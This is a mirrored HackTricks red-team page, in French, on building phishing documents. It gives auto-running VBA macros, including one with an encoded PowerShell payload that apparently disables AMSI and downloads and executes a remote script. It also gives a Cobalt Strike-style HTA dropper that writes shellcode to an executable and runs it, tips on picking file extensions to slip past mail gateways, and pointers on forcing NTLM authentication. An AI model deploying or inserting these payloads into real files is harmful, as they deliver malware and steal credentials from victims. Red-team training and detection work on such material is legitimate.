mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
188 lines
9.4 KiB
Markdown
188 lines
9.4 KiB
Markdown
# Phishing Files & Documents
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Documents Office
|
||
|
||
Microsoft Word effectue une validation des données de fichier avant d'ouvrir un fichier. La validation des données est effectuée sous la forme d'identification de la structure des données, conformément à la norme OfficeOpenXML. Si une erreur se produit lors de l'identification de la structure des données, le fichier analysé ne sera pas ouvert.
|
||
|
||
En général, les fichiers Word contenant des macros utilisent l'extension `.docm`. Cependant, il est possible de renommer le fichier en changeant l'extension du fichier tout en conservant ses capacités d'exécution de macro.\
|
||
Par exemple, un fichier RTF ne prend pas en charge les macros, par conception, mais un fichier DOCM renommé en RTF sera traité par Microsoft Word et sera capable d'exécuter des macros.\
|
||
Les mêmes mécanismes internes s'appliquent à tous les logiciels de la suite Microsoft Office (Excel, PowerPoint, etc.).
|
||
|
||
Vous pouvez utiliser la commande suivante pour vérifier quelles extensions vont être exécutées par certains programmes Office :
|
||
```bash
|
||
assoc | findstr /i "word excel powerp"
|
||
```
|
||
DOCX files référencant un modèle distant (Fichier – Options – Compléments – Gérer : Modèles – Aller) qui inclut des macros peuvent également “exécuter” des macros.
|
||
|
||
### Chargement d'Image Externe
|
||
|
||
Allez à : _Insérer --> Éléments rapides --> Champ_\
|
||
_**Catégories** : Liens et Références, **Noms de champ** : includePicture, et **Nom de fichier ou URL** :_ http://\<ip>/whatever
|
||
|
||
![](<../../.gitbook/assets/image (155).png>)
|
||
|
||
### Backdoor de Macros
|
||
|
||
Il est possible d'utiliser des macros pour exécuter du code arbitraire à partir du document.
|
||
|
||
#### Fonctions d'Autoload
|
||
|
||
Plus elles sont courantes, plus il est probable que l'AV les détecte.
|
||
|
||
* AutoOpen()
|
||
* Document\_Open()
|
||
|
||
#### Exemples de Code de Macros
|
||
```vba
|
||
Sub AutoOpen()
|
||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||
End Sub
|
||
```
|
||
|
||
```vba
|
||
Sub AutoOpen()
|
||
|
||
Dim Shell As Object
|
||
Set Shell = CreateObject("wscript.shell")
|
||
Shell.Run "calc"
|
||
|
||
End Sub
|
||
```
|
||
|
||
```vba
|
||
Dim author As String
|
||
author = oWB.BuiltinDocumentProperties("Author")
|
||
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
|
||
.StdIn.WriteLine author
|
||
.StdIn.WriteBlackLines 1
|
||
```
|
||
|
||
```vba
|
||
Dim proc As Object
|
||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||
proc.Create "powershell <beacon line generated>
|
||
```
|
||
#### Supprimer manuellement les métadonnées
|
||
|
||
Allez dans **Fichier > Informations > Inspecter le document > Inspecter le document**, ce qui fera apparaître l'Inspecteur de document. Cliquez sur **Inspecter** puis sur **Supprimer tout** à côté de **Propriétés du document et informations personnelles**.
|
||
|
||
#### Extension de document
|
||
|
||
Une fois terminé, sélectionnez le menu déroulant **Enregistrer sous le type**, changez le format de **`.docx`** à **Word 97-2003 `.doc`**.\
|
||
Faites cela parce que vous **ne pouvez pas enregistrer de macros dans un `.docx`** et qu'il y a une **stigmatisation** **autour** de l'extension **`.docm`** activée par macro (par exemple, l'icône miniature a un énorme `!` et certains passerelles web/email les bloquent entièrement). Par conséquent, cette **ancienne extension `.doc` est le meilleur compromis**.
|
||
|
||
#### Générateurs de macros malveillantes
|
||
|
||
* MacOS
|
||
* [**macphish**](https://github.com/cldrn/macphish)
|
||
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||
|
||
## Fichiers HTA
|
||
|
||
Un HTA est un programme Windows qui **combine HTML et langages de script (comme VBScript et JScript)**. Il génère l'interface utilisateur et s'exécute en tant qu'application "entièrement fiable", sans les contraintes du modèle de sécurité d'un navigateur.
|
||
|
||
Un HTA est exécuté en utilisant **`mshta.exe`**, qui est généralement **installé** avec **Internet Explorer**, rendant **`mshta` dépendant d'IE**. Donc, s'il a été désinstallé, les HTA ne pourront pas s'exécuter.
|
||
```html
|
||
<--! Basic HTA Execution -->
|
||
<html>
|
||
<head>
|
||
<title>Hello World</title>
|
||
</head>
|
||
<body>
|
||
<h2>Hello World</h2>
|
||
<p>This is an HTA...</p>
|
||
</body>
|
||
|
||
<script language="VBScript">
|
||
Function Pwn()
|
||
Set shell = CreateObject("wscript.Shell")
|
||
shell.run "calc"
|
||
End Function
|
||
|
||
Pwn
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
```html
|
||
<--! Cobal Strike generated HTA without shellcode -->
|
||
<script language="VBScript">
|
||
Function var_func()
|
||
var_shellcode = "<shellcode>"
|
||
|
||
Dim var_obj
|
||
Set var_obj = CreateObject("Scripting.FileSystemObject")
|
||
Dim var_stream
|
||
Dim var_tempdir
|
||
Dim var_tempexe
|
||
Dim var_basedir
|
||
Set var_tempdir = var_obj.GetSpecialFolder(2)
|
||
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
|
||
var_obj.CreateFolder(var_basedir)
|
||
var_tempexe = var_basedir & "\" & "evil.exe"
|
||
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
|
||
For i = 1 to Len(var_shellcode) Step 2
|
||
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
|
||
Next
|
||
var_stream.Close
|
||
Dim var_shell
|
||
Set var_shell = CreateObject("Wscript.Shell")
|
||
var_shell.run var_tempexe, 0, true
|
||
var_obj.DeleteFile(var_tempexe)
|
||
var_obj.DeleteFolder(var_basedir)
|
||
End Function
|
||
|
||
var_func
|
||
self.close
|
||
</script>
|
||
```
|
||
## Forcer l'authentification NTLM
|
||
|
||
Il existe plusieurs façons de **forcer l'authentification NTLM "à distance"**, par exemple, vous pourriez ajouter des **images invisibles** dans des e-mails ou du HTML que l'utilisateur accédera (même HTTP MitM ?). Ou envoyer à la victime l'**adresse de fichiers** qui **déclencheront** une **authentification** juste pour **ouvrir le dossier.**
|
||
|
||
**Vérifiez ces idées et plus dans les pages suivantes :**
|
||
|
||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
|
||
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Relais NTLM
|
||
|
||
N'oubliez pas que vous ne pouvez pas seulement voler le hash ou l'authentification mais aussi **effectuer des attaques de relais NTLM** :
|
||
|
||
* [**Attaques de relais NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||
* [**AD CS ESC8 (relais NTLM vers certificats)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||
|
||
{% hint style="success" %}
|
||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Soutenir HackTricks</summary>
|
||
|
||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||
|
||
</details>
|
||
{% endhint %}
|